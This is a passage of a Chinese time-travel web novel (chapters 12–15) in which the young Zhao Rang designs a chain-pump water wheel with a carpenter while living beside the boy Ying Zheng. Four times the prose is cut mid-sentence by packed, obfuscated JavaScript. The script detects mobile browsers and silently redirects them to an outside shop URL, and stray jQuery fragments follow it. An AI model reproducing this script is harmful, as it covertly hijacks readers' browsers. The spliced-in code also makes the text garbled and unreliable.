赵壤再次点头:“我们正打算去,他就来请了,这不巧了吗?”
朱姬狐疑:“果真?”
“我为何要骗阿母?”赵壤一本正经。
他一点也不怕露馅,反正朱姬也无法求证,她总不能去问平原君!且即便问了,王叔也会替他兜住的。
不是赵壤非要说谎,只是他可怜的耳朵已经听了太多类似的劝告,实在不想再受一次折磨。
且朱姬很不喜欢赵壤研究机械,更不喜欢他与村里人来往过密,要是知道村里人“带坏了他”,肯定要不高兴,弄不好连村里人也得受挂落。
还是多一事不如少一事吧。
朱姬对这个回答半信半疑,但在赵壤和嬴政脸上都看不出破绽,只能暂时接过,又问:“听说你与公子嘉和宏儿起了冲突?”
“赵嘉派来的人说的?”
今天家里就来了这么一个外人,猜都不用猜。
赵壤有点不高兴了,这人什么路数?吵架就吵架,告家长算怎么回事!
玩不起!
幸好没答应他的邀约,不然现在要呕死了!
12.第 12 章
“你这孩子!冲撞了公子嘉,你还不高兴了。”
朱姬语重心长:“不是阿母说你,你跟公子嘉较劲做什么?人家是赵王的孙子,要是记恨上你,以后不肯重用你怎么办?”
赵壤摊手:“他如果因为这点小事斤斤计较,那也不是我心中的明主了。”
再说赵嘉未必能成为赵王。
赵壤虽然不曾见过赵王,但是见过太子赵偃,当时系统收集完信息,给出了不错的积分。轮到赵嘉时,却连赵偃的十分之一都不到。
也就是说,赵偃在历史上有一定名气,而赵嘉却几乎没什么存在感。
有两种可能,一种是赵偃没有成功继位,但凭借自己的本事在历史上留下了痕迹。第二种是赵偃当上了赵王,但王位没有传给赵嘉。
出现这个想法后,赵壤很快排除第一种可能,根据他的观察,赵偃此人比较平庸,不像能靠自己有什么成就的人。
别说当反派,真以为坏人不需要门槛呢?以赵偃的为人,如果没有权利加持,他连个青史留名的坏人也当不成。
基于第二种情况,也有几种情况。
一是赵嘉英年早逝,没有活到继位的时候;二是赵嘉活着,但是赵偃没有传位给他,基于现在赵偃只有赵嘉一个儿子,并且对其正室夫人——也就是赵偃生母表现得深情不悔,事情就变得有趣了。
当然还有一种情况,就是赵偃还没死呢,赵国就被嬴政灭了,赵嘉自然也当不上赵王。
不知道对赵嘉来说,哪种结局更惨一点?
这些是不能说出去的,见朱姬被自己噎住,十分无语的样子,赵壤笑嘻嘻道:“我与阿母玩笑呢,公子嘉性情宽容,不是小心眼的人。”
朱姬:“……”
什么意思?公子嘉不小心眼,不会斤斤计较,那计较的她就是小心眼吗?
她深吸一口气,拿赵壤没有办法,于是将矛头对准一旁的嬴政:“不是叫你安分一些,不要给壤儿惹麻烦吗?”
赵壤皱起小眉毛,开始有点不高兴了:“阿母怨阿兄做什么,此事与阿兄无关。”
“你当阿母不知道?不就是公子嘉说了他几句,你才替他出头的么?”朱姬不悦道,“被说几句又不会少块肉。”
赵壤也深吸一口气,收敛了嬉皮笑脸的样子,认真道:“阿母,这不是会不会少块肉的事。旁人轻视阿兄,本质是阿母与我无能。我们若不反击,今日被轻视的是阿兄,明日就会是我和阿母,咱们三人是一体的。”
他道:“更何况我昨日不全是为阿兄出头,赵宏讥讽于我,赵嘉也处处挑衅,我如果什么都不做,日后如何在他们面前抬头做人,又如何还有什么好前程?”
从前赵壤也与朱姬说过类似的话,可惜并没有什么用,后来便不说了,遇到这样的情况打个哈哈糊弄过去便是。
许是今天知道了朱姬过去的遭遇,让他再次生出了耐心,想要与朱姬分说清楚。
朱姬的确愣了一下,秀眉微微蹙起,有些生气的样子:“他们竟然讥讽你?”
随后又压下怒火,无奈道:“即便如此,你也不该与他们争执,咱们仰仗他们……”
“好了阿母!”赵壤打断她的话,好不容易提起的那点心气瞬间泄了出去。
就知道会是这样!
朱姬出身贫寒,没读过书,也没什么见识,自小受到的培养都是为了长大后送入宫廷或贵人后院,除了美貌,仅有的生存技能就是讨好别人。
在她的认知里,对上位者卑躬屈膝是天经地义的事,什么气节、脸面,在生存面前都一文不值。
这当然没有错,有时候还是难得的生存智慧。
但今时不同往日,他们早已不是毫无资本,浅浅得罪赵嘉和赵宏一下并不会对他们有太大影响,朱姬却还是这个态度,未免把自己的位置放得太低,太过卑微了。
赵壤无心再与她纠缠,只道:“我与阿兄还有功课要做,先回去了,阿母也歇息吧。”
“好好念书,莫要再碰那些木头!”朱姬絮絮叨叨,“还有公子嘉那边,人家邀请你,你怎么不去?”
赵壤:“我怕他小心眼,骗我过去欺负我。”
朱姬规劝的话再次哽住。
这话说给别人听,别人可能觉得赵壤杞人忧天,甚至以小人之心度君子之腹,但朱姬却能听进去。
——因为嬴政真的被骗过。
当年尚且残存几分天真的嬴政,头一次得到家人之外的善意,以为终于有人愿意接纳他、跟他做朋友了,高高兴兴接受邀请,却只是被捉弄一番,带着一身狼狈和满脸嘲讽回来。
这就是收到公子嘉的邀请时,嬴政让赵壤拒绝的原因,只因他早就明白:突如其来,必有古怪!
尤其是突如其来的善意。
*
赵壤拉着嬴政回到房间,先叫人取温水来梳洗,在田地里待了半下午,两个人的手和脸都脏兮兮的。
洗漱完又拿药酒给嬴政揉手和胳膊,今儿帮忙取了一下午水,手都磨红了,胳膊应该也酸痛,要是不趁现在推开,后边几天会更难受。
赵壤把药酒倒在手心,两只手搓热后抹到嬴政胳膊上,用吃奶的力气给他揉:“阿兄别嫌疼,就得用力才有用。”
嬴政感受着胳膊上软绵绵的力道:“……”
他抽出胳膊:“我自己来吧。”
“你能行吗?”赵壤狐疑地看他,嬴政两只胳膊都酸痛,手应该也疼,使不上什么力气了吧?
嬴政淡淡瞥他一眼,把药油倒在左手手心,看起来没怎么用力地在右胳膊揉了几下,顿时红了一片。
揉了半天一点反应也没有的赵壤:“……”
擦完药油,重新洗完手,嬴政又坐到了书案前。
赵壤:“……阿兄不休息吗?”
嬴政:“不必。”
赵壤也没劝,他知道这时候越休息越容易难受,反而适当活动,第二天会舒服许多。
只道:“那你不要拿着书看,用支架吧。”
嬴政点点头,在案几边缘摸了摸,一用力,将一半案面掀了起来,到了合适的角度后,将面板后的支架扣在底座的齿轮卡扣上,就成了一个读书支架。
将书铺在上头,用自带的书夹固定住,无需手执便可读书。
这也是赵壤研究出来的。
这时候还没有纸,书都刻在竹简上,拿一会儿还不觉得如何,时间长了手腕都要断了,要是放在桌面上看,颈椎又要受罪。
于是赵壤开蒙不久,就把这东西弄了出来。到现在不止赵壤和嬴政在用,荀子师徒和赵胜也离不开这种书案了。
嬴政开始看书,赵壤也把自己的书案架起来,拿出一卷空白竹简铺在上面,在砚台里加入墨粒,用砚石磨啊磨。
是的,砚石。
这时候不止没有纸,文房四宝的其他三宝也和后世不同:毛笔的毛是绑在笔杆外面的,里面有个空心,取墨少且容易散;制作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839262|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墨锭的技术还没出现,墨是采集的天然墨粒,需要用砚石细细研磨;砚台需要和砚石配套,且只能磨墨而不能储墨,每次墨干了都要重新加水研磨,非常麻烦。
赵壤也想过改良,但是缺乏动力。
反正凑和着也能用,且即便改良了也是便宜贵族,赵国是不可能向平民普及的,赵壤也就懒得费这个心思了。
时间长了,他觉得研墨也挺有意思,有助于静心,能帮助他思考。
眼下赵壤思考的还是灌溉问题。
桔槔只能减轻汲水的负担,但仍旧需要人力,且效率很低,等到后期对水的需求量越来越大,它就不能胜任了。
还是得把水车弄出来。
要做水车也不难,虽然赵壤对古代水车没什么了解,但他知道作用,慢慢琢磨研究,总能弄出来。
问题就是现在没有足够时间给他琢磨!
赵壤思索片刻,还是打开系统,在心里道:[帮我搜索水车。]
话音刚落,光屏内容一变,整整齐齐罗列了一整页水车有关的东西,有水车、水车图纸、水车制造技术详解、水车改良及推广经验总结等等。
最后那个一看就是专门为穿越者准备的。
赵壤大致扫一遍,心里有了点儿底。
水车大致分为筒车和翻车,筒车又分为普通筒车和高转筒车,翻车有人力、畜力和水力几种。
赵壤问系统:[筒车和翻车的区别是什么?]
系统:[筒车是利用水流的冲击力取水,适合水流湍急或者地势有落差的地方,可以自动取水;翻车是通过循环刮板取水,需要人力或者畜力驱动,但不挑剔水流情况。]
邯郸城附近水流缓慢,不适合筒车。
赵壤看看龙骨翻车图纸下面标注的积分:[太贵了!]
足足要一千积分!
系统切换客服口吻:[虽然贵了点,但是物超所值哦~如果宿主制作并推广成功,得到的积分将远超一千。]
[你说的也有理。]赵壤似乎被说服,一本正经地点点头,[但我们这木匠水平有限,要是造不出来,我不是白花冤枉积分?你跟我说说这龙骨翻车技术难度在哪。]
系统:[主要是传动齿轮的齿距控制在1.5毫米以内,龙骨链条每个链接的尺寸误差在3毫米内,水槽与刮板间的缝隙在1.5毫米到3毫米之间,太大会漏水,太小会卡死,其他的都不算太难,图纸上也有标注。]
赵壤:[那效率呢?要是效率还不如桔槔,我可就亏死了!还有,赵国都是老弱妇孺,用不了太重的水车。]
系统:[宿主放心,咱们的水车都采用1:5的最佳传动比,老人小孩都能轻松使用。效率也不用担心,只要水槽与刮板的缝隙精准,提水高度在3到6米之间,只要一两个人操作,每天6到8小时,就能轻松灌溉10到15亩地。]
赵壤又问了几个问题,系统都热情回答。搞得赵壤都有点不好意思了。
最后系统问:[宿主觉得怎么样?]
赵壤非常满意:[不错!很符合我的要求。]
系统:[那宿主决定购买吗?]
赵壤不好意思地说:[好是好,就是太贵了,我还是舍不得,再想想吧。]
系统:[……]
赵壤意识退出系统,飞快在竹简上写下从系统那套出来的信息。
水车的图片他看到了,关键数据和技术也知道了,小小水车图纸:拿捏!
13.第 13 章
赵壤沉下心来,很快沉浸到水车图纸中去。
直到腰和脖子发出抗议,头也晕晕乎乎的,他才惊觉已经很晚了,早就过了平时睡觉的时辰。
他看向嬴政,嬴政依旧身姿笔挺地坐在案前,有条不紊地看书,好像永远不知道疲累似的。
赵壤时常会觉得,现下嬴政的刻苦程度还没到他的极限,若非赵壤日日催促休息,他可能会忘了这回事。
真是令人嫉妒的超高精力人群!
赵壤心中浅浅酸了一下,站起来伸个懒腰,打着哈欠道:“阿兄,明日再看吧,快些歇息,要不然明日起不来,该迟到了。”
嬴政从书中回过神,看赵壤往床边走,开口道:“现下冰够用,你该回自己房间睡了吧?”
赵壤没听见,踢掉鞋倒在床上,下一秒就睡着了。
嬴政:“……”
他把婢妾叫进来,让给赵壤盖上被子、把二人的书案收拾一下,自己则重新洗漱,换上睡觉穿的衣裳,在赵壤另一侧躺下,呼吸逐渐变得绵长。
深夜万籁俱寂,就连蝉鸣都变得微弱,月光柔柔撒下,给沉睡中的村庄镀上一层光晕。房间里两个孩子沉沉睡去,只有轻微的呼吸声,间或一两句呓语——
“水车!”
*
第二天早上醒来,赵壤只觉得格外累。
昨天本就晚睡,他还做了一夜梦,梦里一会儿画图纸、一会儿做水车,一会儿干旱、一会儿丰收,忙得不亦乐乎,这会儿脑瓜子还是嗡嗡的。
他抱着被子坐在床上,还没完全回过神,就听嬴政淡淡的声音:“再不起来就该迟到了。”
赵壤吓了一跳:“你怎么在这儿?”
这个时辰,嬴政不应该在晨练吗?
赵壤往窗外一看,才惊觉早过了平日起床的时辰,而嬴政不仅已经晨练结束,甚至已经洗漱换好衣裳,正在用早饭。
也就是说,他快迟!到!了!
“你们怎么不叫我?”赵壤哀嚎一声,从床上弹跳而起,飞快洗漱好。
这时嬴政吃完饭,简单漱了漱口,拿上书箧出门。
赵壤:“阿兄你不等我!”
嬴政看也没看他,毫不留情地跨出门槛,只留下一句:“我在学堂门口等你。”
婢妾已经把赵壤今日要穿的衣服准备好了,他草草套在身上,也顾不上整不整齐,一手拿书包,一手抓起一个包子,就要往外面冲。
婢妾连忙拦住他:“公子,尚未栉发。”
“姊姊快些。”赵壤只能停下脚步,让婢妾给她梳头。
婢妾早拿着玉梳等待,简单把头发梳顺后,几下在头顶盘成一个单髻。虽然不如双髻正式,但日常并不失礼,且比双髻省时间。
趁着这个功夫,赵壤也把书包背上,包子三两口吃了。
等婢妾把发髻束好,他拔腿便跑了出去,路上再把衣服整理一下,等到学堂时,虽然还有点狼狈,但也能看得过去。
嬴政果然在学堂门口等着,比起赵壤,他衣饰整洁、头发梳得整整齐齐,脸不红气不喘,得体多了。
赵壤:“……”
他历史不好,威震八方的始皇帝原来这么注重形象管理吗?
是的,嬴政拒绝和赵壤同行,就是不想像他一样狼狈地赶时间。
还不止这一点,嬴政平时非常爱干净,晨练后必定要梳洗,每天都要换衣裳,头发永远整整齐齐。出门会精心搭配衣服,配饰也要和衣服相配,礼仪永远规范完美,从不在外做有损形象之事,什么时候看到他,都是个大方得体的美男子。
果然优秀的人哪里都优秀!
*
今日由李斯为二人授业,赵壤本来有些困倦,硬生生憋了回去。
……不止学堂的学生怕李斯,其实他也有点。
中午授业结束,二人回家之前,先去向荀子拜别。这时浮丘伯从外面进来,撩起的外袍衣摆里兜着五六个微微发红的李子。
赵壤:“你从哪得来的李?”
“村西头土坡后头的李树,我与虎子他们盯了好些日子,终于有熟的了,这几个是分给我的。”浮丘伯想起什么,对赵壤道,“我去河边洗李时,见有木匠在架桔槔,此事你知道吗?”
赵壤一愣:“应该是王叔的人。”
没想到他们这么早就来了,还在没有见过他的情况下,直接去河边干上了。
韩非有些惊讶:“是《庄…子》里那、
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841797|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那、那个…桔…槔?”
赵壤点点头。
李斯:“韩师弟想去看看吗?”
韩非眼睛亮亮地点头,他从前贵为韩国公子,还真没见过这种东西。
李斯:“那我便陪你去瞧瞧。”
赵壤嘿嘿一笑,转而问荀子:“先生见过桔槔吗?”
荀子捋捋胡须,含笑道:“从前周游各国,的确见过此物,尤以楚国和秦国最为常见。如今天干,桔槔正有用处。”
楚国水田多,对灌溉工具格外看重,秦国就是纯粹重视农业。
赵壤又问:“那先生见过水车吗?”
荀子一愣,这回却摇摇头:“不曾听说,此乃何物?”
“过些时日先生就知道了。”赵壤卖了个关子,还冲荀子挤了挤眼睛。
荀子:“……”
*
辞别荀子后,赵壤与嬴政、还有李斯与韩非一同去河边。
远远就看见河边竖起根丈余的木杆,距离顶部不远的地方则楔上根长长的横杆,那横杆上下转动,河边便爆发出欢呼。
赵壤与嬴政对视一眼,知道应该是成了。
果然,等几人到了河边,便见许多村民围在这里,平时因苦难而显得麻木的脸上都带着笑,霎时便多了几分生机。
见到赵壤,他们都热情地打招呼,恭敬更甚往日。
赵壤问一个村民:“试过了?怎么样?”
“特别好!非常好用。”里魁不知道从哪里钻出来,笑得牙花子都露出来了,在黝黑的脸上格外突出。
他拍拍自己的腰和腿,说道:“老叟方才试了一下,汲水一点也不费力!”
他的背躬得厉害,兼之年纪大了,胳膊腿都不是很好,平时虽然也能汲水,但比较吃力。
刚才试用那桔槔,光是不用弯腰,对他就已经很友好了。
而且无需用很大力气,只要轻轻一拉,便能将木桶压入水中,之后便无需用力,桔槔会自动把装满水的桶提上来。
这可方便多了!
以后汲水再不是一件很难的事,村中老人和半大孩子都能帮着干,省了大心了。
赵壤听着里魁激动地絮絮叨叨,也不由露出笑意。
14.第 14 章
赵壤和嬴政也试了一下这传说中的桔槔。
嬴政之前有帮忙汲水的经验,可以分辨出,有桔槔的帮助,打水比从前便宜了许多。而赵壤是小孩儿,又不常做重活,他用起来问题不大,村中与他年纪相仿的孩童便都可以用。
汲水的问题算暂时解决了,输水却还是大问题。
赵壤看向这大片农田,距离河边近些还好,距离远的还是需要抱着陶罐或者提着木桶,一趟趟往田里跑,太浪费体力和功夫。
要解决这个问题也不难,后世农村便以沟渠引水浇田;赵壤在系统中看到的龙骨翻车图片里,水车后面便连接着木制的渠槽。农人只需汲水,水自会沿着沟渠或渠槽流入农田。
他把这些告诉村民。
赵胜派来架桔槔的木匠笑呵呵道:“公子有见识!咱们给主君架桔槔,后头都要跟着挖沟渠,浇田可省心多了。”
“这……”里魁有些犹豫,“这沟渠是不是会占用田地?那水也会渗到土里吧?”
木匠:“自然会占用一些田地,水也会渗下去一些,不过可以用在渠道里头铺石子,或者用草拌泥夯实,就会好上许多。”
里魁一听连忙摆手:“不成不成,这太麻烦了。”
他对赵壤道:“有这桔槔就已经帮上大忙了,眼下正是农忙的时候,腾不出手来挖沟渠,不若等到冬天再说吧。”
赵壤暗叹一声,要是今年风调雨顺,等到冬天再挖当然没有问题,但这不是马上就要干旱了吗?
不过村民不愿意,他也不强求,反正等需要的时候再挖也来得及。
*
这边事情弄完,赵壤邀请木匠去他家中用饭。
木匠姓陶,在家中排行第三,因此被称为陶叔、陶季,或者更直接的称呼陶三。
他家中世代为木匠,到了这一代,因为他技艺高超,在邯郸城卓有名气,走门路成了官营工坊的工匠,后被指派到平原君府上。
今日叫他来架桔槔,也算大材小用了。
陶三与赵壤和嬴政同席,原本还有些拘束,但等赵壤问了他几个专业上的问题后便放松多了。
赵壤也确认了,此人的确是有本事的,于是暴露自己的目的,提起关于水车的构想。
是的,赵壤是来挖人哒!
他虽然是机械专业出身,也做过一些木工活,甚至还有些看起来特别牛批的技能——比如不用测量就能做出严丝合缝的零部件这种。
但他有自知之明。论起理论和创新,他站在巨人肩膀上,可以吊打战国所有人,但真要论手上的硬本事,就比不过这些有几十年经验的老木匠了。
这和厨艺是一样的道理。
从前赵壤做的东西,只是在原有基础上进行改良,或者一些不重要的小东西,尚且不要紧,但要做龙骨水车这样精细的东西,就需要专业木匠配合。这人的水平要足够高,才和协助赵壤完善各个细节,而不仅仅是照图施工。
今天早上赵壤还在与嬴政说,要请个好木匠来帮忙,陶三正好合适,他也就一事不烦二主了。
陶三听了赵壤的描述,却不以为意:“我从未听过此物,世上哪会有这样的东西?”
他摇摇头,对此并不看好。
赵壤微微一笑,示意婢妾把竹简给他:“我已经有想法了,这是大概的图样,你看看。”
说完就端起陶杯,气定神闲地喝蜜水。
陶三细细观摩竹简上的图样,原本坚定的神色逐渐变得迟疑。
“如何,你可愿与我一起?”赵壤觑着他的神色,问道。
“这……”陶三面色纠结,既有心动,又不知何为心存顾虑。
赵壤:“你若答应,事成之后我必有厚报,且此物若成,你必定名震邯郸,届时我与王叔说,让他举荐你为工师,如何?”
工匠是匠,工师则是吏,对陶三来说算是身份跃迁了。
这块饼果然够香,陶三的纠结更明显了。
赵壤:“你不必担心王叔那边,我自会去信与他解释。若还有顾虑,尽管与我开口。”
“这……”陶三支支吾吾说不出话来。
赵壤给完甜枣,开始给大棒。
他放下陶杯,在案几上发出一声脆响,板着小脸道:“图样都看过了,难道你还想全身而退吗?”
吓了一跳的陶三:“……”
嬴政面露无奈,这就是他所谓的“请”吗?
他对一脸惶恐的陶三道:“你且安心,阿壤并非不辨是非之人,无论水车是否做成,他都不会怪你。”
他语气淡淡,表情也颇为冷肃,本是令人不敢接近的,但一开口便叫人不自觉感到信服。
反正陶三被安抚到了,迟疑地看向赵壤。
赵壤这才明白他的顾虑。
这也不能怪陶三,这时候用人关系与后世不同,要是活计做不好,很可能被贵人拿来撒气。
这水车图样看着不错,但到底是从没有过的东西,在陶三看来做不成的可能太大,所以赵壤画的饼再香,他也不敢轻易冒险。
他道:“你放心,你是王叔的人,我不会对你怎么样的。”
陶三这才松了口气,应下了此事。
至于说是不是真的放心?反正也没有旁的选择!
赵壤和陶三开始研究水车,而邯郸城里,赵胜没有等到陶三回来,反而等到赵壤叫人送来的口信。
中心思想只有一个:我把陶三匠扣下来啦!
赵胜:“……”
他无奈道:“这孩子!刚折腾完桔槔,不知又有什么鬼主意了。”
赵胜对面坐着个深衣袍服的男人,他四十来岁年纪,身量中等、容貌端正,气质却格外出众,沉稳儒雅中带着洒脱肆意,眉宇间隐隐透出的一二分忧郁,更为他增添几分矛盾气质。
正是信陵君魏无忌。
魏无忌是现魏王的异母弟,与赵胜同为战国四公子之一,也是平原君夫人的弟弟。
邯郸之战时,赵胜多次向魏王与魏无忌送信求援,魏王碍于秦国不敢出兵,魏无忌于是窃兵符救赵,因此见罪于魏王,一直滞留赵国不敢回去。
他笑呵呵道:“总听人说起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846188|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过这位小公子,我往来你府上,竟无缘得见。”
“他顽皮的很,见不见都罢。”赵胜摇摇头,嘴上说赵壤不好,实则满脸都是笑意。
魏无忌笑容加深:“顽皮的孩童聪慧,我向来爱之,赵兄若不喜他,不若让他随我回魏国吧。”
“你才收拢两个我赵国人才,又开始打宗室的主意了?”赵胜轻哼一声,“你自己尚且回不了魏国,快别说这大话了!”
魏无忌哈哈一笑:“都说平原君宽宏厚道,阖该让他们听听这话才是!”
随即又正色道:“不是我要抢你们的人,那毛公与薛公出身低微,入不了你的眼,即便留在赵国也无用。”
“你怎知他们入不了我的眼?”赵胜反问。
魏无忌一愣:“你不是看重门人的出身吗?”
赵胜与魏无忌不同,赵胜招揽门客,除了品行与才能,也看重对方的出身,门客身份可以不高,但不能有失体面。
而魏无忌只看才德与真心,看重之人无论身份地位,都愿意放下身段折节下交。
他身边的侯嬴曾是魏国的城门看守,朱亥则是市井屠夫;这次在赵国结交的毛公混迹赌场,薛公则卖酒为生。
按照赵胜以往的脾气,早该讥讽他一二句,再劝他莫要与市井之辈往来,以免带累自己的名声。不妨没有等到责备,反而听到这么一句话,叫魏无忌惊讶极了,用见了鬼的目光打量他。
赵胜微微摇头:“世易时移,你身边那侯嬴与朱亥为救邯郸之困立下大功,我自然有所改观。”
况且他见赵壤身怀才华与志向,却因为世俗偏见而不得施展,想法不由便发生了变化。
魏无忌抚掌而笑:“难得难得,你竟想通了!”
随即道:“放心,我不打那孩子的主意。只是我冷眼瞧着,赵王未必会重用他,他会不会留在赵国尚未可知,你可别白费心思。”
赵胜默然片刻,然后失笑:“信陵君一向以诚心待人,怎么也计较起利益得失来了?”
“我为你好,你倒挤兑起我来了!”魏无忌轻哼一声,随后叹息,“要我说,你当日就该取赵王而代之,今日便没有这许多烦恼了。”
邯郸之围后,赵胜本有机会拉下赵王。
彼时赵王因为在长平之战和邯郸之围中的接连失误威望大跌,赵胜虽然也没有幸免,但他与门客四处奔走、拼死抵抗,救邯郸于危难,挽回了大半声誉。
赵胜又有三千门客,前来支援的魏国魏无忌是他妻弟,楚国也是被赵胜的门客毛遂请来的,只要赵胜振臂一呼,顷刻便可王位易主,连一点动荡都不会有。
——毕竟赵国已经够乱了,还能再乱到哪去?
可惜彼时赵胜拒绝了门客的提议,现在他已年老,赵王也坐稳了王位,想来再也没有那样的机会了。
魏无忌摇摇头:“你呀,就是太看重体面,为名声所累。”
赵胜哼笑一声:“你倒是不在意名声,怎么不取魏王而代之,反而留在赵国呢?”
总不会是做不到吧?
魏无忌噎住。
15.第 15 章
赵壤和陶三花了几天功夫,先做了一个水车模型出来。
说是模型,但也有三四尺长,赵壤找负责盥洗的婢妾借来洗衣用的大陶盆,往里面倒上水,将模型的一端放入盆中,拨动另一端的木板,水车便运转起来,将盆里的水汲到盆外,把地面打湿一大片。
亏得这是在外面,要是在家中,一时半刻都不能走人了。
赵壤和陶三顾不得被打湿的衣角,都一脸惊喜。
“没想到世上真有这种东西。”陶三摸着模型感慨。
赵壤嘿嘿笑道:“世上好东西多的是,你只管看着便是了。”
陶三点点头,佩服道:“公子这么年轻就懂这么多,真是天生的木匠苗子!”
说完才意识到不对,他出身匠人家庭,被说“天生的木匠苗子”是一种夸赞,但对赵壤这般的贵族子弟便是羞辱了。
一时有些讪讪,又有些惶恐,小心觑着赵壤脸色,不知道该不该请罪。
赵壤却没想这么多,得意地仰起小脑袋,并且发挥社交精神反夸回去:“多亏陶匠技艺精湛,否则我也做不成呢!”
这却是真话。
陶三不愧是能成为顶尖木匠的人,不仅技艺精湛,而且精益求精,他还很喜欢思考,很多时候赵壤没注意到的细节,他却能发现问题并予以改进。
要不是他在官营工坊供职,赵壤都想把人请来给自己干活了。
咦?也不是不行。
赵壤摸着下巴想:要是许以重利,不知道能不能把陶匠挖过来。
水车试验算是初步成功,但还是存在一些问题,赵壤和陶三蹲在水车旁讨论起来。
二人正讨论得激烈,便听见一道温润浑厚的声音:“敢问此乃何物?”
赵壤蹲在地上抬起头,便见面前站着个陌生的中年男子,身着士人常穿的葛麻深衣,正好奇地低头看他。
赵壤站起来,整了整衣裳,冲男子作了个揖,露出乖巧的笑:“见过先生,敢问先生从何处来?”
“我从邯郸来,听说荀卿隐居于此,特意前来拜会。”男子说完,指着水车模型又问了一遍,“此乃何物?”
“这是水车,用来汲水灌溉的。”赵壤把刚才的动作又做了一遍,演示给他看。
男子看得眼睛发亮,自己也上手体验了一番,又问了许多问题,赵壤都一一回答。
好一会儿男子才满足了,站起来道:“果然是好物,只是小了些。”
“这是模型,以后会做成大的。”赵壤仰着头笑眯眯说。
男子看看他,再看看陶三:“方才听你二人探讨,莫非这水车还有你这小童的功劳?”
陶三赶忙解释:“先生不知道,那图样就是小公子画的,小人只是搭把手咧!”
男子含笑点头:“果然是个聪明孩子!你今年几岁了?平时念什么书?”
不远处的嬴政听到这话,放下书卷走过来,打断他们:“先生既来寻荀子,我便为您引个路,阿弟也别玩闹了,把这些东西拿回家去。”
“这里有陶匠在,我和阿兄一起去吧。”在别人看不到的地方,赵壤悄悄拉拉嬴政的手。
嬴政迟疑地看他一眼,到底没有再说什么。
兄弟二人并中年男子一同往荀子处去,嬴政站在二人中间,右手一直虚扶在腰上。
赵壤装作没发现异常,甜甜笑着问中年男子:“先生不是赵国人吧?”
“你如何得知?”男子反问。
赵壤:“我听口音不像。”
“你说的不错,我的确不是赵国人。”顿了顿,他问,“那你猜我是哪国人?”
赵壤长叹一声。
男子微笑,隐隐还有些得意:“猜不出来吗?”
赵壤摇头:“不是猜不出来,只是发现一件事情,好像上了年纪的人和小孩聊天,总喜欢让我们猜。”
男子:“……”
赵壤:“先生的口音大体与赵国相似,只是细微处略有差别,应该来自韩国或者魏国。”
韩、赵、魏本为一家,口音最为接近。
男子再次颔首,笑容也越发大:“那你说说,我到底来自韩国还是魏国?”
这就有点刁难人的意思了,赵壤不过是个幼童,又没有出过赵国,如何能分辨韩国和魏国的口音?
但赵壤看他一眼,斩钉截铁道:“魏国。”
中年男子一愣,这回真有些惊诧了:“你如何得知?”
赵壤嘿嘿一笑,却没回答他的问题,转而问道:“听说魏国有十颗一寸以上的明珠,非常罕见,堪为国宝,是不是真的?”
中年男子:“……”
这就涉及到百年前的一桩旧事,彼时魏国国君是魏惠王。有一次与齐威王会猎,他问齐国有没有宝贝。
齐威王说没有。
魏惠王就很惊讶,然后得意道:“我们魏国虽然小了点,但还是有些宝贝的,我有十颗明珠,每颗都有一寸以上,可以照亮十二辆车那么大的地方。你们齐国那么大,怎么会没有宝贝呢?”
齐威王于是说:“我的宝贝和你不一样,我有四位贤臣,檀子守南城,楚人不敢作乱,泗河一带的十二个诸侯国都来我国朝见;盼子守高唐,赵国人吓得不敢到黄河上打渔;黔夫守徐州,燕人和赵人就在徐州城门祭祀求福,七千多户平民主动前来投靠;钟首负责城池安定,能做到路不拾遗。这四个臣子能光耀千里,岂止十二辆马车呢!”
这个回答令魏惠王无地自容,在齐威王的对比下,他显得分外小家子气。魏国人也深以此为耻。
即便过去百年,听赵壤提起这件事,中年男子还是觉得尴尬,脚趾在葛屦里蜷成一团,脸颊也微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852461|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微发烫。
他压下这些情绪,无奈地看向赵壤:“你是不是猜到我的身份了?”
赵壤:嘻嘻!
能不知道么?这人一出现,自闭了好几天的系统都咸鱼翻身,嘀嘀嘀响个不停,积分也蹭蹭蹭地涨。
